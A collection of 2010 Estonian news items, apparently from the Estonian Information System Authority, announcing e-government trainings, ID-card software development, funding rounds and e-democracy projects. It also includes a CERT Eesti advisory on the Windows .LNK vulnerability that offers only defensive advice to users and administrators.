Pilk uuele kujundusele: http://proto.eesti.ee/
(Tegu on kujunduse ja ülesehituse näidisega, prototüübis ei ole teenuseid ega infot.)

Tulles vastu publiku soovile, toimuvad 26. oktoobril ja 8. novembril Tallinnas, 28. oktoobril Pärnus ning 16. novembril Tartus juhtimiskoolituse „E-riigi teater“ lisaetendused, mis on mõeldud avaliku sektori juhtidele.

Professionaalsed näitlejad (Tiit Palu, Piret Laurimaa, Ahti Puudersell, Lauri Kink, Kaili Viidas) mängivad ette ühe e-teenuse arenguloo läbi raskuste, mis avalike teenuste e-kanalitesse viimine kaasa võib tuua. Koolituse läbiviijad (Heiti Pakk ja Margus Püüa) jagavad kommentaare ja mõtteid selle kohta, mida tähele panna ja millest midagi õppida. Kolmel korral lastakse osalejatel rühmatööde kaudu „sekkuda“ sündmuste käiku ja välja pakkuda, mida võiks päris elus teha teistmoodi või lausa uutmoodi.

Esimene koolitus viidi läbi eelmise aasta lõpus esimeste kõrgemate infoühiskonna kursuste raames.

Koolitused toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ning seda finantseerib Euroopa Regionaalarengu Fond.

Koolitus on osalejatele tasuta. Lisainfo ja registreerimine:  http://www.ria.ee/e-riigi-teater-koolitused

RIA korraldab 26. oktoobril ja 2. detsembril Tallinnas kaks e-arvete teemalist infopäeva. Infopäevad on suunatud asutustele, kes soovivad juurutada arvete elektroonilist menetlust.

Üritusele oodatakse eelkõige avaliku sektori (sh kohalike omavalitsuste) dokumendihalduse ja raamatupidamise spetsialiste.

Infopäeval räägitakse sellest, mis on e-arve, milline on tema elutsükkel ning miks teda kasutusele võtta. Samuti pööratakse tähelepanu sellele, kuidas vältida e-arvete kasutamisega kaasneda võivaid probleeme.
Üritusel tutuvustatakse ka erinevaid dokumendihaldus- ja raamatuspidamissüsteemide tehnilisi võimalusi. Infopäevad on oma sisult ühesugused.

Infopäevad on osalejatele tasuta, kuid vajalik on eelnev osalejaks registreerumine. Lähem info ja registreerumine.

Lisainfo e-arvete kohta: http://www.ria.ee/e-arved

E-arvete infopäevad kuuluvad koolitustesarja "Tark e-riik" ning need toimuvad SF programmist "Infoühiskonna teadlikkuse tõstmine" Euroopa Regionaalarengu Fondi rahastusel.

RIA palub kõigi teadlike arvutikasutajate abi, et testida ID-kaardi baastarkvara Macile ja Linuxile.

ID-kaardi baastarkvara on saadaval Mac OS X versioonidele 10.5 ja 10.6 ning kolmele Eesis enimkasutatud Linuxile (Fedora 13, OpenSuse 11.3 ja Ubuntu 10.05).

Baastarkvara beetaversiooni saab alla laadida aadressilt http://id.eesti.ee Samal lehel on juhend tagasiside andmiseks.

ID-kaardi baastarkvara arendab Riigi Infosüsteemide Arenduskeskuse tellimusel AS Sertifitseerimiskeskus.

Eesti Infotehnoloogia Kolledžis (EIK) luuakse Euroopa Struktuurifondide toetusel kursus küberkaitse alaseks väljaõppeks. Esimesed huvilised saavad registreeruda novembris alustavatesse gruppidesse.

Projekti raames loodi esmakordselt Eestis rakenduslik küberkaitse õppemoodul kohalike omavalitsuste ja ärisektori IT-süsteemide administraatoritele. Moodul on mõeldud edasijõudnutele (II ja III aasta üliõpilastele) ning täiendõppuritele, kellel on IT-süsteemide administreerimise kogemus.
Õppemooduli projektijuht Signe Ventsel: „Projekti kestvus on viis aastat. Selle ajaga omandavad vajalikud oskused üle 80 tasemeõppe tudengi ja üle 100 IT-süsteemide administraatori.“ Tema sõnul kasvab koolituse tulemusena Eesti avaliku sektori IT-süsteemide küberkaitse alane kindlus. Lisaks muutuvad turvalisemaks Eesti inimestele mõeldud e-teenused.

Kõrgkoolide ja ettevõtete koostöös ellu kutsutud projekti on kaasatud Riigi Infosüsteemide Arenduskeskuse (RIA) infoturbe spetsialistid. Küberkaitse õppemoodulit täiendatakse regulaarselt CERT Eesti (Computer Emergency Response Team) ja erafirmade abiga, mis võimaldab õppekava kaks või enam aastat tagasi läbinud spetsialistidel täiendada oma teadmisi. Projekti raames luuakse uuenduslik distantslabor küberkaitse alase õppe läbiviimiseks.

CERT Eesti infoturbe ekspert Toomas Lepiku sõnul on projekti suurim kasu selles, et koolitatakse juba töötavaid IT-spetsialiste. „Oma igapäevatöös näeme vajadust IT-professionaalide täiendõppe järele, kes riigi ja erasektori süsteeme haldavad. Tehnoloogia arenguga on süsteemid muutunud järjest keerukamaks. IT-spetsialistid peavad infoturbe viimaste arengutega kursis olema, et enda süsteeme ning nende kasutajaid kaitsta“.

Küberkaitse õppemoodul tugineb Kaitseministeeriumi loodud Küberjulgeoleku strateegiale aastateks 2008–2013. Projekti raames loodavas õppemoodulis „Praktiline küberkaitse IT-süsteemide administraatorile“ saavad teadmisi omandada IT Kolledži tudengid ja kohalike omavalitsuste või äriühingute IT-spetsialistid.

IT Kolledž on Eesti Infotehnoloogia Sihtasutuse (EITSA) poolt 2000. aastal loodud mittetulunduslik rakenduslik erakõrgkool, mis annab rakenduslikku kõrgharidust IT süsteemide arendamise, IT süsteemide administreerimise, infosüsteemide analüüsi ja tehnosuhtluse erialadel. Kokku õpib IT Kolledži neljal õppekaval päevases, õhtuses ja kaugõppes üle 700 õppuri. Kaheksa aasta jooksul on IT Kolledžist suundunud Eesti IT tööjõuturule 404 IT spetsialisti.

CERT Eesti on Riigi Infosüsteemide Arenduskeskuse osakond, mis tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemisega ja kasutajate turvateadlikkuse tõstmisega.

Lisainfo:

Sigrid Tammiste, turundusjuht
Eesti Infotehnoloogia Kolledž
Raja 4C, 12616 Tallinn
Tel 6285 817
E-post: Sigrid Tammiste AT itcollege.ee

Majandus- ja Kommunikatsiooniministeerium (MKM) ja Riigi Infosüsteemide Arenduskeskus (RIA) hakkavad koostöös e-Riigi Akadeemiaga analüüsima Eesti e-demokraatia ja e-kaasamise olukorda.

MKM ja RIA sõlmisid e-Riigi Akadeemiaga kaheaastase lepingu e-demokraatia uurimiseks ja edendamiseks Eestis. Järgnevatel aastatel tutvustatakse e-demokraatia olemust ning võimalusi erinevatele sihtgruppidele, nii avaliku võimu esindajatele kui kodanikuühiskonna osalistele. Kaheaastase lepingu maht on 1 917 750 krooni ning tegevused viiakse ellu Majandus- ja Kommunikatsiooniministeeriumi, Riigi Infosüsteemide Arenduskeskuse, Riigikantselei ning e-Riigi Akadeemia juhtimisel.

Majandus- ja kommunikatsiooniminister Juhan Partsi sõnul on Eesti e-demokraatia valdkonnas juba palju ära teinud: "E-kaasamise küsimustes peetakse Eestit rahvusvaheliselt üheks juhtivaks riigiks ning erinevatest kodanikualgatustest on näha inimeste järjest kasvavat soovi oma hääl kuuldavaks teha, kasutades selleks just infotehnoloogilisi võimalusi."

Muuhulgas on projekti käigus plaanis läbi viia internetikeskkonnas toimuva Riigikogu 2011. aasta valimiste valimiskampaaniate analüüs. Jätkub e-demokraatia ja e-kaasamise alaste teadmiste levitamine nii Eestis kui rahvusvaheliselt, sealhulgas e-demokraatia teemalise konverentsi korraldamine aastal 2012.

"Tegelikult algab e-demokraatia mitte tehnoloogiast, vaid meist endist," rõhutab e-Riigi Akadeemia e-demokraatia valdkonna juht Liia Hänni. "Inimestena oleme oma harjumuste ohvrid ja käitumises palju konservatiivsemad, kui arvame - ka virtuaalmaailmas. Siit tuleneb suuresti vajadus teadvustada laiemalt neid uusi võimalusi, mida pakub tehnoloogia kodanike poliitikas osalemiseks."

"Eesti infoühiskonna arengukava 2013" üks peaeesmärk on isikukeskse ja kaasava ühiskonna arendamine, et suurendada inimeste kaasatust riigi otsustusprotsessidesse infotehnoloogiliste võimaluste kaudu.

E-Riigi Akadeemia on mittetulunduslik infoühiskonna arendus- ja analüüsikeskus, mille missioon on kaasa aidata demokraatliku infoühiskonna kujunemisele.

Tööd viiakse ellu Euroopa Liidu struktuurifondide programmist "Infoühiskonna teadlikkuse tõstmine" mida finantseerib Euroopa Regionaalarengu Fond. Programmi eesmärk on tõsta teadlikkust infoühiskonna võimalustest, suurendada olemasolevate elektrooniliste lahenduste kasutatavust, soodustada uute e-teenuste teket ning teavitada inimesi, kuidas arvutit turvaliselt kasutada. Programmi tegevused on suunatud e-teenuste kasutajatele, avalikule ja erasektorile. Programmi kogumaht on 50 miljonit krooni ning tegevused viiakse läbi ajavahemikus 2007-2013.a.

Sel nädalal avanes Eesti, Rootsi, Islandi ja NordForski ühine uurimisprogramm e-valitsuse  kodanikukesksete teenuste uurimiseks ja arendamiseks.

Uurimisprogrammi eesmärk on toetada kasutajakesksete e-valitsuse teenuste arendamist ning selleks vajalike rahvusvaheliste kontakt- ja uurimisvõrgustike loomist.

Rahastamistaotlusi on oodatud esitama avaliku sektori asutused, eraettevõtted, teadusasutused ja valitsusvälised organisatsioonid Põhja- ja Baltimaadest. Iga taotlus peab kaasama vähemalt üht esindajat Eestist, Rootsist ja Islandilt.

Eesti, Rootsi ja Islandi esindajate tegevusi toetatakse rahaliselt ühisest uurimisprogrammist. Kõikide teiste riikide kaasatavad partnerid peavad oma tegevusi ise rahastama.

Projektide eeldatav pikkus on 6-12 kuud.

Taotluste tähtaeg: 19.oktoober 2010 kell 14.00 CET

Projektide algus: 3.jaanuar 2011

Ühisprogrammi sekretariaat on VINNOVA (Rootsi).

Täpsem informatsioon taotlusvooru ja taotlemistingimuste kohta VINNOVA veebis.

7. septembril jõudis toodangukeskkonda RIHA uus kujundus. Lisandnus ka hulk  võimalusi, mis RIHA kasutamise lihtsamaks muudavad.

• Rakenduses liikumine on lihtsam ja loogilisem. Tänu uuendatud peamenüüle ja kasulike linkide ning abiteabega jalusele leiate teabe lihtsamini üles ja saate RIHA toimingud kiiremini tehtud.
• Kasutatavust tõstavad arvukalt lisatud AJAX-i (Web 2.0) kasutajaliidese elemendid, nt modaaldialoogid ja detailinfo dünaamiline kuvamine. Vastavalt vajadusele näete kuval rohkem (või vähem) teavet ja ei pea kogu aeg lehekülgi vahetama.
• Laienenud on otsinguvõimalused – kiir-, üld- ja detailotsing. Otsingutulemused esitatakse rühmitatult ja pakutakse filtreerimise võimalust.
• Uus KOVidele mõeldud dokumenteerimise menetlus vähendab nii infosüsteemide omanike kui ka kooskõlastajate koormust.

Loodame, et uuenenud kujundus ja lisandunud funktsionaalsused teevad RIHAst kasutajasõbralikuma ja kiirema rakenduse.

Enamik uuendustest on intuitiivselt mõistetavad ja suurt osa nendest Te võib-olla ei märkagi. Vajadusel leiate aga teavet uuendatud kasutajajuhenditest.

RIHA on riigi infosüsteemi terviklik kaardistuse ja halduse töövahend. RIHAs peetakse arvestust riigi infosüsteemi moodustavate andmekogude, infosüsteemide ja muude komponentide üle. RIHAs menetletakse infosüsteemide ja andmekogude asutamist, X-teega liitumist, klassifikaatorite haldust ja teisi riigi infosüsteemi järjepidevaks arenguks ja optimaalseks toimimiseks vajalikke protsesse. RIHA kasutavad nii riigi- kui ka erasektor infoühiskonna toimimise kindlustamisel. Riigi- ja kohaliku omavalitsuse asutustele on RIHA kasutamine kohustuslik.

RIHA kasutamisel abistab Teid Riigi Infosüsteemide Arendusekeskuse kasutajatugi: help@ria.ee, tel 6630 230.
https://riha.eesti.ee

RIA ja RISO (Majandus- ja kommunikatsiooniministeeriumi riigi infosüsteemide osakond) kutsuvad huvilisi osalema 20. septembril vaba tarkvara infopäeval.

Infopäev on pühendatud vaba tarkvara tutvustamisele ning selle peamiste iseärasuste laiemale teadvustamisele. Päev leiab aset 20. septembril 2010 kell 10.00 -16.00 Tallinnas Tallink Spa Hotelli konverentsikeskuses.

Infopäeva materjalid leiad siit!

Osalemine tasuta, küll aga on vajalik infopäevale eelregistreerimine hiljemalt 15. septembril.

Info ja päevakava: Päevakava (pdf).

Päev koosneb kolmest osast:

- vaba tarkvara kasutamine - millist kasu saab riik, ühiskondlikud organisatsioonid ja ühiskond tervikuna vabast tarkvarast;
- äri ja tehnoloogia - mida kujutavad endast vaba tarkvara arendus-, litsentsi- ja ärimudelid, milliseid võimalusi võiks vaba tarkvara pakkuda Eesti firmadele;
- kogukond ja kultuur - mida annab vaba tarkvara haridus- ja kultuurisfääris, millised on vaba tarkvara kogukondade toimemehhanismid.

Vaba tarkvara infopäev toimub Euroopa Liidu struktuurifondide programmist "Infoühiskonna teadlikkuse tõstmine" ja seda finantseerib Euroopa Regionaalarengu Fond.

18. septembril 2010 tähistatakse ka rahvusvahelist vaba tarkvara päeva, vaata lisa: http://softwarefreedomday.org/

Lisainfo:

Piret Aro
SF programm "Infoühiskonna teadlikkuse tõstmine"
piret.aro[ät]ria.ee

5. oktoobril toimub Tallinnas, 12. oktoobril Tartus ning 14. oktoobril Pärnus koolitus „ISKE rakendustööriista kasutamine“, mille eesmärk on ISKE tööriista abil läbi teha ISKE rakendamise 10 sammu. Koolitus annab praktilise ISKE tööriista kasutamise ja haldamise kogemuse. Koolitus toimub arvutiklassis ning on osalejatele tasuta.
Päevakava ja registreerimine: http://www.ria.ee/iske-rakendustooriista-kasutamine-2

Jätkuvad ka teised ISKE ning infoturbe valdkonna koolitused:
ISKE praktiline rakendamine - 09. september Rakvere, 07. oktoober Valga - http://www.ria.ee/iske-praktiline-rakendamine
ISKE audit - 23. september Tartu, 05. oktoober Tallinn - http://www.ria.ee/iske-audit
Infoturve IT-spetsialistile - 12.-13. oktoober Tallinn - http://www.ria.ee/koolitus-infoturve-it-spetsialistidele
Infoturbe sissejuhatus - 26. oktoober Rakvere, 11. november Tartu http://www.ria.ee/infoturbe-sissejuhatus
 
Kogu koolituskalender http://www.bcs.ee/koolitus.php?lang=est&main_id=231 

Koolitused toimuvad Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames, mida finantseerib Euroopa Regionaalarengu Fond.
Koolitusprogramm "Tark e-riik" toimub koostöös BCS Koolitus ASga.
 
Lisainfo:
Rica Semjonova
SF programm "Infoühiskonna teadlikkuse tõstmine"
projektijuht
6630295
rica.semjonova@ria.ee

Riigiportaal eesti.ee pakub augustist Euroopa Liidu ettevõtjatele inglise keeles varasemast mahukamat ja sisukamat keskkonda.

Portaali ettevõtja osas on enam kui 150 artiklit, mis käsitlevad teemasid alates ettevõtluse alustamisest kuni lõpetamiseni. Uuenenud inglisekeelne keskkond muudab teenuste kasutamise ettevõtjate jaoks mugavamaks, sest kogu ettevõtlust puudutav info on ühest kohast kättesaadav. Lähikuudel lisanduvad ka erinevate e-teenuste inglisekeelsed tõlked.

„Eesti riigiportaali ja eriti ettevõtjaile mõeldud info tõlkimine on eriti oluline praegu, mil majanduslangus on peatunud ning Euroopa ettevõtjad otsivad jälle võimalusi Eestis äri ajada. EL kodanikud saavad juba lähitulevikus kasutada ka e-Eesti teenuseid,“ ütles eesti.ee juht Aarne Seppel.

Ettevõtlusega seotud küsimustes on inimesed portaalis eesti.ee huvi tundnud eelkõige raamatupidamise ja aruandluse ning erinõuetega seotud tegevusalade kohta. Välisriikidest on enim küsimusi tulnud Leedust.

Lisaks portaali tõlkimisele inglise keelde on riikidevahelise koostöö edendamisele suunatud veel projekt STORK (Secure identity across borders linked), mis loob tavakodanikele võimaluse kasutada teiste Euroopa riikide e-teenuseid. Praegu saavad Belgia, Portugali, Soome, Leedu, Rootsi, Venemaa ja Austria kodanikud astuda Eesti ülikoolidesse, taotleda elektroonilisel kujul elukoha tõendit ning lugeda arhiivipäringuid.

Parema koostöö edendamiseks Euroopa Liidu liikmesriikide vahel võtab Eesti tänavu vastu seaduse (Majandustegevuse seadustiku üldosa seadus), mis kohustab Eestis ettevõtetele tegevuslubasid väljastavaid registreid pakkuma e-teenuseid kõikidele Euroopa Liidu kodanikele. Registritel on uuenduste tegemiseks aega 2013. aastani.

Eesti.ee portaali on siiani külastanud ligi kolmandik Eesti elanikest ehk 416 226 inimest.

Nimekiri kõigist EL-i liikmesriikide inglisekeelsetest portaalidest: http://ec.europa.eu/eu-go.

Sügisel jätkuvad koolitused infosüsteemide turvameetmete süsteemi ISKE tutvustamiseks avalikule sektorile erinevates Eestimaa linnades.

Osalejad saavad praegu registreeruda seitsmele ISKE teemalisele koolitusele. Need on suunatud avaliku sektori ja kohalike omavalitsuste juhtidele, IT-spetsialistidele ja -juhtidele ning ISKE rakendajatele. Koolitused toimuvad Tallinnas, Tartus, Rakveres ja Valgas.

Infosüsteemi turvameetmete süsteemi teemalistest koolitustest on praegu võimalik valida nelja vahel, milleks on ISKE praktiline rakendamine; ISKE auditeerimise tutvustamine; infoturbe ja selle regulatsioonide spetsiifilisem tutvustamine, mille sihtrühm on IT-spetsialistid. Tavaamentikele on mõeldud infoturbe sissejuhatav koolitus, kus eelnevad IT-alased teadmised pole vajalikud.

Esimene koolitus on 9. septembril Rakveres, kus tutvustatakse ISKE praktilist rakendamist. Üritus on suunatud IT-juhtidele ja spetsialistidele ning annab ülevaate ISKE valdkonnast ja oskused määrata infosüsteemide turvalisuse taset. Samal teemal toimub koolitus 7. oktoobril ka Valgas.

Lisainfo, koolituste ajad ja päevakavad on kättesaadavad RIA kodulehelt. Osalemine on avaliku sektori spetsialistidele tasuta. Samuti tasub jälgida ürituste kava, sest sinna lisatakse pidevalt järgmisi koolitusi puudutavat infot.

Üritused toimuvad koolitustesarja “Tark e-riik” raames, mille eesmärk on aidata ametnikel ja IT-spetsialistidel paremini kasutada infotehnoloogilisi lahendusi. Lisaks annab see võimaluse omavaheliseks suhtluseks ja tõhusamaks koostööks.

Lisaks koolitustele korraldatakse ka erinevatel teemadel infopäevasid ja seminare. Praegu on registreerumine avatud ka avaliku sektori veebide kasutajasõbralikumaks muutmist ning vaba tarkvara kasutamist tutvustavatele üritustele.

Terve sarja raames läbiviidavate koolituste kohta saab ülevaate aadressil http://www.ria.ee/riigi-infosusteemi-koolitused-ja-uritused-2010 ning üritustele saab registreeruda http://www.bcs.ee/koolitus.php?lang=est&main_id=231.

Koolitused toimuvad Euroopa Liidu struktuurifondide programmi “Infoühiskonna teadlikkuse tõstmine” raames, mida rahastab Euroopa Regionaalarengu Fond. Koolitusi aitab läbi viia AS BCS Koolitus.
 

Riigi Infosüsteemide Arenduskeskuses (RIA) lõppes 10. augusti südaööl taotluste vastuvõtt IT-teemalise teadlikkuse tõstmise taotlusvooru. Kokku laekus 54 projekti kogumaksumusega 103 miljonit krooni.

Vooru eesmärk on anda inimestele oskusi e-teenuste kasutamiseks ja tõsta arvutikasutajate teadlikkust internetis pesitsevatest ohtudest. Taotlusvooru laekus 54 projekti 46 taotlejalt. Projektide üldmaksumus on 103 miljonit krooni, millest 11 miljonit krooni on taotlejate omaosalus, seega soovitakse toetusi 92 miljoni krooni ulatuses. Taotlusvooru eelarve on 18 miljonit krooni ja ühe projekti maksimaalne maksumus neli miljonit krooni.

Struktuuritoetuste osakonna juhataja Jaak Liiviku sõnul algab järgmisel nädalal hindamise protsess. „Kõik taotlejad on tõsiselt vaeva näinud ja konkurents on ääretult tihe. Kõigepealt hindab RIA taotluste vastavust nõuetele ja küsib vajatudusel taotlejatelt lisainfot. Seejärel reastab Majandus- ja Kommunikatsiooniministeeriumi komisjon projektid ja otsustatakse toetuse saajad“, selgitas Liivik.

Vooru sai esitada projekte, mis tõstavad inimeste teadmisi ja oskusi riigi- ja erasektori e-lahenduste kasutamisel ning õpetavad, kuidas internetis turvaliselt käituda. Taotlusvooru tegevuste sihtgrupp on eelkõige noored ning neid mõjutavad täiskasvanud. Oodati ka e-lahenduste pakkujate oskusi tõstvaid projekte, et muuta e-lahendused lihtsamaks, kasutajakesksemaks ja turvalisemaks. Samuti võis esitada taotlusi eestikeelse vabatarkva arendamiseks ning erivajadustega inimeste võimaluste avardamiseks infoühiskonnas.

Toetusi said taotleda mittetulundusühingud ja sihtasutused, kohalikud omavalitsused ja kohalike omavalitsuste liidud, avalik-õiguslikud juriidilised isikud, põhiseaduslikud institutsioonid ning valitsusasutused ja nende hallatavad asutused.

Eeltaotluse rahuldamise otsus tagab projekti elluviimiseks taotletud summa broneerimise. Seejärel viib taotleja läbi hanked ja esitab RIAle täistaotluse. Taotlusvooru rahastab Euroopa Liidu Regionaalarengu Fond.

RIA kuulutas välja lihtmenetluse, et leida koostööpartner World Summit Award 2010 Eesti eelvooru läbiviimiseks, eelkõige konkursiga seotud PR-tegevusteks korraldamiseks.

Hanke eesmärk on leida lepingupartner, kellega koos tagada e-teenuseid loonud asutuste ja ettevõtete teadlikkus konkursist, nende osalemine konkursil ning konkurssi tutvustaval seminaril; konkursi kajastus erinevatele sihtrühmadele; konkursi läbiviimine (sh žürii töö korraldamine, auhindade hankimine jms) ning konkursi võidutööde kohandamine ja tõlkimine rahvusvahelisele konkursile saatmiseks.

Konkurss "Parim sisuteenus" (World Summit Award 2010 Eesti eelvoor) toimub ELi struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine” raames.

Pakkumuste esitamise tähtaeg on 1. september 2010 kell 11:00
Hankedokumentide saamiseks palume pöörduda e-posti teel Piret Aro poole: piret.aro[ät]ria.ee

Lisainfot vaata siit!
 

15. juulil avastati Windowsi operatsioonisüsteemis oluline turvaauk, mida kasutades saab arvuti märkamatult pahavaraga nakatada. Sel nädalal avastati esimesed .LNK turvaaugu kaudu nakatunud arvutid ka Eestist.

Olukord on ohtlik, kuna turvaauk, mida erinevad viirused arvutitesse pääsemiseks kasutavad, ei ole hetkel lihtsalt sulgetav. Samuti ei märka kasutaja viirusesse nakatumist ega selle tegevust.

CERT Eesti (Computer Emergency Response Team) infoturbe ekspert Anto Veldre: „Ühiskonna arvutiseerituse taseme tõusuga suureneb ka kahju, mida arvutiviirused inimestele ja ühiskonnale põhjustavad. Viirusi ja pahavara ei saa pidada loodusnähtusteks nagu tormi või põuda, see on e-kriminaalide teadlik tegevus. Eesmärk on nakatada üha rohkem arvuteid, et nende kaudu levitada oma pahavara, rünnata veebisaite ning välja saata rämpsposti - nii suureneb illegaalne sissetulek.“

„Hetkel on Eestis teada mõned süsteemid, kus seda turvaauku on nakatamiseks kasutatud. Samas, kui me arvestame, et seda auku saavad kasutada paljud viirused ja hetkel ei ole selle sulgemiseks häid võimalusi, siis saame järeldada, et turvaauku hakatakse lähitulevikus aktiivselt kasutama“, selgitab Veldre.

Soovitused kasutajatele, et vältida .LNK turvaaugu kaudu viirustesse nakatumist:
1.Seni, kuni Microsoft ei ole avaldanud toote parandusi, laadige endale programm, mis ei luba viirustel .LNK turvaauku arvutisse pääsemiseks kasutada. Hetkel ainukese tasuta saadaoleva programmi leiab siit.
2.Turvaauku kasutav pahavara levitab ennast irdmeedia kaudu – mälupulgad, fotoaparaadid, digitaalsed pildiraamid, telefonid, mälukaardid, CD-plaadid jne. Kuni Microsoft ei ole viga ära parandanud, püüdke irdmeediat mitte kasutada.
3.Pahavara levib ka kirjade ja MSNi teel. Kui teile tuleb kiri, millega on kaasas tundmatu manus, ärge avage seda! Kui teile saadetakse MSNis dokument, mida te ei oota, küsige saatjalt üle, millega on tegu?
4.Oluline on arvutit mitte kasutada administraatori õigustes, vaid teha endale kasutaja. Sellisel juhul on ka viirustel oluliselt väiksemad võimalused arvutis tegutseda.
5.Eestis enamlevinud viirusetõrjeprogrammid leiavad vähemalt osa .LNK viga kasutavatest pahalastest üles. Palun uuendage enda viirusetõrje programme! Oluline on teada, et kui viirus jõudis arvutisse enne viirusetõrje uuendamist, on viirusetõrje juba kahjutuks tehtud. Sellisel juhul tuleb spetsialisti poole pöörduda.
6.Kui te kahtlustate, et teie arvuti on nakatunud, pöörduge kohe IT-spetsialisti poole.

Taustainfo - operatsioonisüsteemis võib olla turvaauk, näiteks hetkel Windowsi operatsioonisüsteemis leiduv .LNK failidega seotud auk. Turvaauk ise ei tee operatsioonisüsteemile ega kasutajale halba. Turvaauk on võimalus, mida kasutades saavad kurjategijad saata arvutisse või serverisse erinevaid viiruseid. Piltlikult võib turvaauku võrrelda majaukse lahti jätmisega. Kõik saavad lahtist ust kasutada ja kurjategijad ise valivad - kes viib ära kodutehnika, kes joonistab seinale graffiti, kes kasutab maja varastatud kraami laona.

Info IT-spetsialistidele ja süsteemiadministraatoritele, mis ei ole kindlasti ammendav, aga teeb elu kergemaks:
Microsoft avaldas 16. juulil probleemi kirjelduse.
On teada et viirus üritab ennast levitada ka Office'i dokumentide kaudu.
Teatud määral aitab kasutajatelt lokaalse administraatori õiguste ära võtmine.
Filtreeri välja e-kirjad zip/exe/lnk/pif manustega.
Hoia viirusetõrjujad aktiivsetena ja keela WebDAV.
Saada kasutajatele ülaltoodud käitumissoovitused edasi.
 

23. juulil sõlmisid Riigi Infosüsteemide Arenduskeskus (RIA) ja AS Sertifitseerimiskeskus (SK) lepingu, mille järgi jätkab ID-kaardi tarkvara arendamist Sertifitseerimiskeskus.

RIA direktor Epp Joab avaldas heameelt, et ID-kaardi tarkvara arendamine jätkub. „Tegemist on kõige turvalisema autentimisvahendiga Euroopas ja enne tarkvara kasutusse andmist peame olema kindlad, et see on kvaliteetne. Usume, et Sertifitseerimiskeskuse abiga valmib kasutajasõbralik ja turvaline tarkvara.“

SK direktor Kalev Pihli sõnul on Sertifitseerimiskeskus ID-kaardi temaatikaga juba aastaid tegelenud. „Meil on hea meel, et RIA tunnustab meie kompetentsi ning usaldab tarkvaraarendusega jätkamise just meile. Töö on sisuliselt keeruline ja väljakutset pakkuv nii SK meeskonnale kui partneritele, samas olen kindel, et kasutajatele tulemus meeldib. Oktoobrikuus saavad Linuxi ja Maci kasutajad lõpuks endale töötava versiooni ID-kaardi tarkvarast.“

Lepingu kogumaksumus koos käibemaksuga on 7,5 miljonit krooni. Leping hõlmab arendustööde jätkamist sealt, kus eelmine arendaja pooleli jäi ning hooldusperioodi.

Tarkavara luuakse Windowsi ja Maci erinevatele versioonidele ja Linuxi kolmele enamlevinud distributsioonile. Linuxi ja Maci tarkvara valmib käesoleva aasta oktoobris, uus ID-kaardi tarkvara Windowsile järgmise aasta jaanuariks. Lisaks kuulub lepingu juurde kaheaastane tarkvara hooldusperiood, mis tagab, et ID-kaardi tarkvara töötab ka veebilehitsejate ja operatsioonisüsteemide uuenduste korral.

23. juulil sõlmisid Riigi Infosüsteemide Arenduskeskus ja OÜ Smartlink kohtuliku kompromissi ID-kaardi tarkvara arendamislepingu lõpetamise kohtuasjas.

Kompromissiga tunnistab OÜ Smartlink, et ID-kaardi tarkvara arendus osutus planeeritust keerukamaks, tähtaegu tuli korduvalt pikendada ning lepingu lõpetamine oli tingitud tarkvaras esinenud vigadest. Lepingu lõpetamise hetkeks oli OÜ Smartlink küll suure osa tarkvarast valmis saanud, kuid see sisaldas liialt palju vigu, mistõttu ei olnud võimalik tarkvara täies mahus vastu võtta ja lepinguga jätkata.

RIA direktor Epp Joabi sõnul on mõlemad osapooled huvitatud, et ID-kaardi tarkvara uus versioon võimalikult kiiresti kasutusse jõuaks. „Meie eesmärk on anda arvutikasutajatele tarkvara, mis töötaks laitmatult,“ kinnitas Joab. „ Kohtuliku kompromissiga on RIA valmis vastu võtma veel ühe osa tarkvarast, mis on läbinud sõltumatu testimise ja analüüsi. Selle põhjal saab uus arenduspartner ID-kaardi tarkvara arendamise lõpuni viia. Oleme partneriga läbirääkimiste lõpusirgel, et ID-kaardi tarkvara Linuxile, Macile ning Windows'ile võimalikult peatselt valmiks.“

OÜ Smartlink juhatuse esimees Henrik Põder avaldas heameelt kompromissi üle „OÜ Smartlink on alati soovinud, et ID-kaardi tarkvara kasutusse läheks ning oleks täiesti töökindel. Baastarkvara kasutuselevõtt on juba veninud ja selle tõttu kannatavad kõige rohkem Linuxi ja Maci kasutajad“, ütles ta.

RIA sõlmis OÜga Smartlink lepingu ID-kaardi baastarkvara arendamiseks üle-eelmise aasta lõpus. Lepingu tähtaeg oli juunis 2009 ning seda pikendati korduvalt, viimane tähtaeg oli jaanuaris 2010, kuid tarkvara ei valminud tähtaegselt. Käesoleva aasta veebruarikuus lõpetas RIA lepingu põhjendusega, et tarkvara valmimine oli kaheksa kuud veninud ning osa tööst oli jätkuvalt tegemata. OÜ Smartlink vaidlustas lepingu lõpetamise kohtus. Sõlmitud kompromissiga lahendasid pooled kõik oma eriarvamused ning mis tahes pretensioone seoses ID-kaardi tarkvara arendamislepinguga teineteise suhtes enam ei esitata.

RIA lõpetas 14. juulil struktuuritoetuse eeltaotluste vastuvõtu jooksvasse taotlusvooru „Eesti uue põlvkonna lairibavõrgu arendamine maapiirkondades“

RIA alustab 5. juulil taotluste vastuvõttu taotlusvooru, mille eesmärk on anda inimestele oskusi e-teenuste kasutamiseks ning tõsta arvutikasutajate teadlikkust internetis pesitsevatest ohtudest.

Taotlusvooru oodatakse kahte tüüpi tegevusi. Vooru saab esitada projekte, mis tõstavad inimeste teadmisi ja oskusi riigi- ja erasektori e-lahenduste kasutamisel ning õpetavad, kuidas internetis turvaliselt käituda. Taotlusvooru tegevuste sihtgrupp on eelkõige lapsed ja noored ning neid mõjutavad täiskasvanud (lapsevanemad, õpetajad jne).

Samuti oodatakse projekte, mis on suunatud e-lahenduste pakkujate oskuste tõstmisele, et muuta e-lahendused lihtsamaks, kasutajakesksemaks ja turvalisemaks. E-lahenduste pakkujad võivad olla näiteks iseteenindusbürood, riigi-ja kohalike omavalitsuste veebid, e-teenused jne. Väga oodatud on taotlused eestikeelse vabatarkva arendamiseks ning erivajadustega inimeste võimaluste avardamiseks infoühiskonnas.

Toetusi võivad taotleda mittetulundusühingud ja sihtasutused, kohalikud omavalitsused ja kohalike omavalitsuste liidud, avalik-õiguslikud juriidilised isikud, põhiseaduslikud institutsioonid ning valitsusasutused ja nende hallatavad asutused.

Toetuse maksimaalne summa on neli miljonit krooni ühe taotluse kohta. Taotlusvooru eelarve on 18 miljonit krooni, taotluste esitamise tähtaeg on 10. august 2010.

Taotlusvooru kuulutus.
Majandus- ja kommunikatsiooniministri käskkiri.
